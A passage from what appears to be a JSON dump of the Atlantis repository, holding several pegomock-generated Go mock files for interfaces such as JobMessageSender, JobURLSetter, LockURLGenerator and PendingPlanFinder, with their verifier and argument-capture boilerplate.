reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 *client_go.MergeRequest\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(*client_go.MergeRequest)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockGitlabMergeRequestGetter) VerifyWasCalledOnce() *VerifierMockGitlabMergeRequestGetter {\n\treturn &VerifierMockGitlabMergeRequestGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockGitlabMergeRequestGetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGitlabMergeRequestGetter {\n\treturn &VerifierMockGitlabMergeRequestGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockGitlabMergeRequestGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGitlabMergeRequestGetter {\n\treturn &VerifierMockGitlabMergeRequestGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockGitlabMergeRequestGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGitlabMergeRequestGetter {\n\treturn &VerifierMockGitlabMergeRequestGetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockGitlabMergeRequestGetter struct {\n\tmock                   *MockGitlabMergeRequestGetter\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockGitlabMergeRequestGetter) GetMergeRequest(logger logging.SimpleLogging, repoFullName string, pullNum int) *MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification {\n\t_params := []pegomock.Param{logger, repoFullName, pullNum}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetMergeRequest\", _params, verifier.timeout)\n\treturn &MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification struct {\n\tmock              *MockGitlabMergeRequestGetter\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string, int) {\n\tlogger, repoFullName, pullNum := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1]\n}\n\nfunc (c *MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string, _param2 []int) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]int, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(int)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_job_message_sender.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: JobMessageSender)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockJobMessageSender struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockJobMessageSender(options ...pegomock.Option) *MockJobMessageSender {\n\tmock := &MockJobMessageSender{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockJobMessageSender) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockJobMessageSender) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockJobMessageSender) Send(ctx command.ProjectContext, msg string, operationComplete bool) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockJobMessageSender().\")\n\t}\n\t_params := []pegomock.Param{ctx, msg, operationComplete}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"Send\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockJobMessageSender) VerifyWasCalledOnce() *VerifierMockJobMessageSender {\n\treturn &VerifierMockJobMessageSender{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockJobMessageSender) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockJobMessageSender {\n\treturn &VerifierMockJobMessageSender{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockJobMessageSender) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockJobMessageSender {\n\treturn &VerifierMockJobMessageSender{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockJobMessageSender) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockJobMessageSender {\n\treturn &VerifierMockJobMessageSender{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockJobMessageSender struct {\n\tmock                   *MockJobMessageSender\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockJobMessageSender) Send(ctx command.ProjectContext, msg string, operationComplete bool) *MockJobMessageSender_Send_OngoingVerification {\n\t_params := []pegomock.Param{ctx, msg, operationComplete}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Send\", _params, verifier.timeout)\n\treturn &MockJobMessageSender_Send_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockJobMessageSender_Send_OngoingVerification struct {\n\tmock              *MockJobMessageSender\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockJobMessageSender_Send_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, bool) {\n\tctx, msg, operationComplete := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], msg[len(msg)-1], operationComplete[len(operationComplete)-1]\n}\n\nfunc (c *MockJobMessageSender_Send_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 []bool) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]bool, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(bool)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_job_url_setter.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: JobURLSetter)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockJobURLSetter struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockJobURLSetter(options ...pegomock.Option) *MockJobURLSetter {\n\tmock := &MockJobURLSetter{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockJobURLSetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockJobURLSetter) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockJobURLSetter) SetJobURLWithStatus(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, res *command.ProjectCommandOutput) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockJobURLSetter().\")\n\t}\n\t_params := []pegomock.Param{ctx, cmdName, status, res}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"SetJobURLWithStatus\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockJobURLSetter) VerifyWasCalledOnce() *VerifierMockJobURLSetter {\n\treturn &VerifierMockJobURLSetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockJobURLSetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockJobURLSetter {\n\treturn &VerifierMockJobURLSetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockJobURLSetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockJobURLSetter {\n\treturn &VerifierMockJobURLSetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockJobURLSetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockJobURLSetter {\n\treturn &VerifierMockJobURLSetter{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockJobURLSetter struct {\n\tmock                   *MockJobURLSetter\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockJobURLSetter) SetJobURLWithStatus(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, res *command.ProjectCommandOutput) *MockJobURLSetter_SetJobURLWithStatus_OngoingVerification {\n\t_params := []pegomock.Param{ctx, cmdName, status, res}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"SetJobURLWithStatus\", _params, verifier.timeout)\n\treturn &MockJobURLSetter_SetJobURLWithStatus_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockJobURLSetter_SetJobURLWithStatus_OngoingVerification struct {\n\tmock              *MockJobURLSetter\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockJobURLSetter_SetJobURLWithStatus_OngoingVerification) GetCapturedArguments() (command.ProjectContext, command.Name, models.CommitStatus, *command.ProjectCommandOutput) {\n\tctx, cmdName, status, res := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], cmdName[len(cmdName)-1], status[len(status)-1], res[len(res)-1]\n}\n\nfunc (c *MockJobURLSetter_SetJobURLWithStatus_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []command.Name, _param2 []models.CommitStatus, _param3 []*command.ProjectCommandOutput) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]command.Name, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(command.Name)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.CommitStatus, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.CommitStatus)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]*command.ProjectCommandOutput, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(*command.ProjectCommandOutput)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_lock_url_generator.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: LockURLGenerator)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockLockURLGenerator struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockLockURLGenerator(options ...pegomock.Option) *MockLockURLGenerator {\n\tmock := &MockLockURLGenerator{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockLockURLGenerator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockLockURLGenerator) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockLockURLGenerator) GenerateLockURL(lockID string) string {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockLockURLGenerator().\")\n\t}\n\t_params := []pegomock.Param{lockID}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GenerateLockURL\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()})\n\tvar _ret0 string\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockLockURLGenerator) VerifyWasCalledOnce() *VerifierMockLockURLGenerator {\n\treturn &VerifierMockLockURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockLockURLGenerator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockLockURLGenerator {\n\treturn &VerifierMockLockURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockLockURLGenerator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockLockURLGenerator {\n\treturn &VerifierMockLockURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockLockURLGenerator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockLockURLGenerator {\n\treturn &VerifierMockLockURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockLockURLGenerator struct {\n\tmock                   *MockLockURLGenerator\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockLockURLGenerator) GenerateLockURL(lockID string) *MockLockURLGenerator_GenerateLockURL_OngoingVerification {\n\t_params := []pegomock.Param{lockID}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GenerateLockURL\", _params, verifier.timeout)\n\treturn &MockLockURLGenerator_GenerateLockURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockLockURLGenerator_GenerateLockURL_OngoingVerification struct {\n\tmock              *MockLockURLGenerator\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockLockURLGenerator_GenerateLockURL_OngoingVerification) GetCapturedArguments() string {\n\tlockID := c.GetAllCapturedArguments()\n\treturn lockID[len(lockID)-1]\n}\n\nfunc (c *MockLockURLGenerator_GenerateLockURL_OngoingVerification) GetAllCapturedArguments() (_param0 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_pending_plan_finder.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: PendingPlanFinder)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tevents \"github.com/runatlantis/atlantis/server/events\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockPendingPlanFinder struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockPendingPlanFinder(options ...pegomock.Option) *MockPendingPlanFinder {\n\tmock := &MockPendingPlanFinder{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockPendingPlanFinder) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockPendingPlanFinder) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockPendingPlanFinder) DeletePlans(pullDir string) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockPendingPlanFinder().\")\n\t}\n\t_params := []pegomock.Param{pullDir}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"DeletePlans\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockPendingPlanFinder) Find(pullDir string) ([]events.PendingPlan, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockPendingPlanFinder().\")\n\t}\n\t_params := []pegomock.Param{pullDir}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Find\", _params, []reflect.Type{reflect.TypeOf((*[]events.PendingPlan)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []events.PendingPlan\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]events.PendingPlan)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockPendingPlanFinder) VerifyWasCalledOnce() *VerifierMockPendingPlanFinder {\n\treturn &VerifierMockPendingPlanFinder{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockPendingPlanFinder) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPendingPlanFinder {\n\treturn &VerifierMockPendingPlanFinder{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockPendingPlanFinder) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPendingPlanFinder {\n\treturn &VerifierMockPendingPlanFinder{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockPendingPlanFinder) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPendingPlanFinder {\n\treturn &VerifierMockPendingPlanFinder{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockPendingPlanFinder struct {\n\tmock                   *MockPendingPlanFinder\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockPendingPlanFinder) DeletePlans(pullDir string) *MockPendingPlanFinder_DeletePlans_OngoingVerification {\n\t_params := []pegomock.Param{pullDir}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"DeletePlans\", _params, verifier.timeout)\n\treturn &MockPendingPlanFinder_DeletePlans_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockPendingPlanFinder_DeletePlans_OngoingVerification struct {\n\tmock              *MockPendingPlanFinder\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockPendingPlanFinder_DeletePlans_OngoingVerification) GetCapturedArguments() string {\n\tpullDir := c.GetAllCapturedArguments()\n\treturn pullDir[len(pullDir)-1]\n}\n\nfunc (c *MockPendingPlanFinder_DeletePlans_OngoingVerification) GetAllCapturedArguments() (_param0 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockPendingPlanFinder) Find(pullDir string) *MockPendingPlanFinder_Find_OngoingVerification {\n\t_params := []pegomock.Param{pullDir}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Find\", _params, verifier.timeout)\n\treturn &MockPendingPlanFinder_Find_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockPendingPlanFinder_Find_OngoingVerification struct {\n\tmock              *MockPendingPlanFinder\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockPendingPlanFinder_Find_OngoingVerification) GetCapturedArguments() string {\n\tpullDir := c.GetAllCapturedArguments()\n\treturn pullDir[len(pullDir)-1]\n}\n\nfunc (c *MockPendingPlanFinder_Find_OngoingVerification) GetAllCapturedArguments() (_param0 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_post_workflow_hook_url_generator.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: PostWorkflowHookURLGenerator)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockPostWorkflowHookURLGenerator struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockPostWorkflowHookURLGenerator(options ...pegomock.Option) *MockPostWorkflowHookURLGenerator {\n\tmock := &MockPostWorkflowHookURLGenerator{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockPostWorkflowHookURLGenerator) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockPostWorkflowHookURLGenerator) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockPostWorkflowHookURLGenerator) GenerateProjectWorkflowHookURL(hookID string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockPostWorkflowHookURLGenerator().\")\n\t}\n\t_params := []pegomock.Param{hookID}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GenerateProjectWorkflowHookURL\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockPostWorkflowHookURLGenerator) VerifyWasCalledOnce() *VerifierMockPostWorkflowHookURLGenerator {\n\treturn &VerifierMockPostWorkflowHookURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockPostWorkflowHookURLGenerator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPostWorkflowHookURLGenerator {\n\treturn &VerifierMockPostWorkflowHookURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockPostWorkflowHookURLGenerator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPostWorkflowHookURLGenerator {\n\treturn &VerifierMockPostWorkflowHookURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockPostWorkflowHookURLGenerator) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPostWorkflowHookURLGenerator {\n\treturn &VerifierMockPostWorkflowHookURLGenerator{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockPostWorkflowHookURLGenerator struct {\n\tmock                   *MockPostWorkflowHookURLGenerator\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockPostWorkflowHookURLGenerator) GenerateProjectWorkflowHookURL(hookID string) *MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification {\n\t_params := []pegomock.Param{hookID}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GenerateProjectWorkflowHookURL\", _params, verifier.timeout)\n\treturn &MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification struct {\n\tmock              *MockPostWorkflowHookURLGenerator\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification) GetCapturedArguments() string {\n\thookID := c.GetAllCapturedArguments()\n\treturn hookID[len(hookID)-1]\n}\n\nfunc (c *MockPostWorkflowHookURLGenerator_GenerateProjectWorkflowHookURL_OngoingVerification) GetAllCapturedArguments() (_param0 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_post_workflows_hooks_command_runner.go",
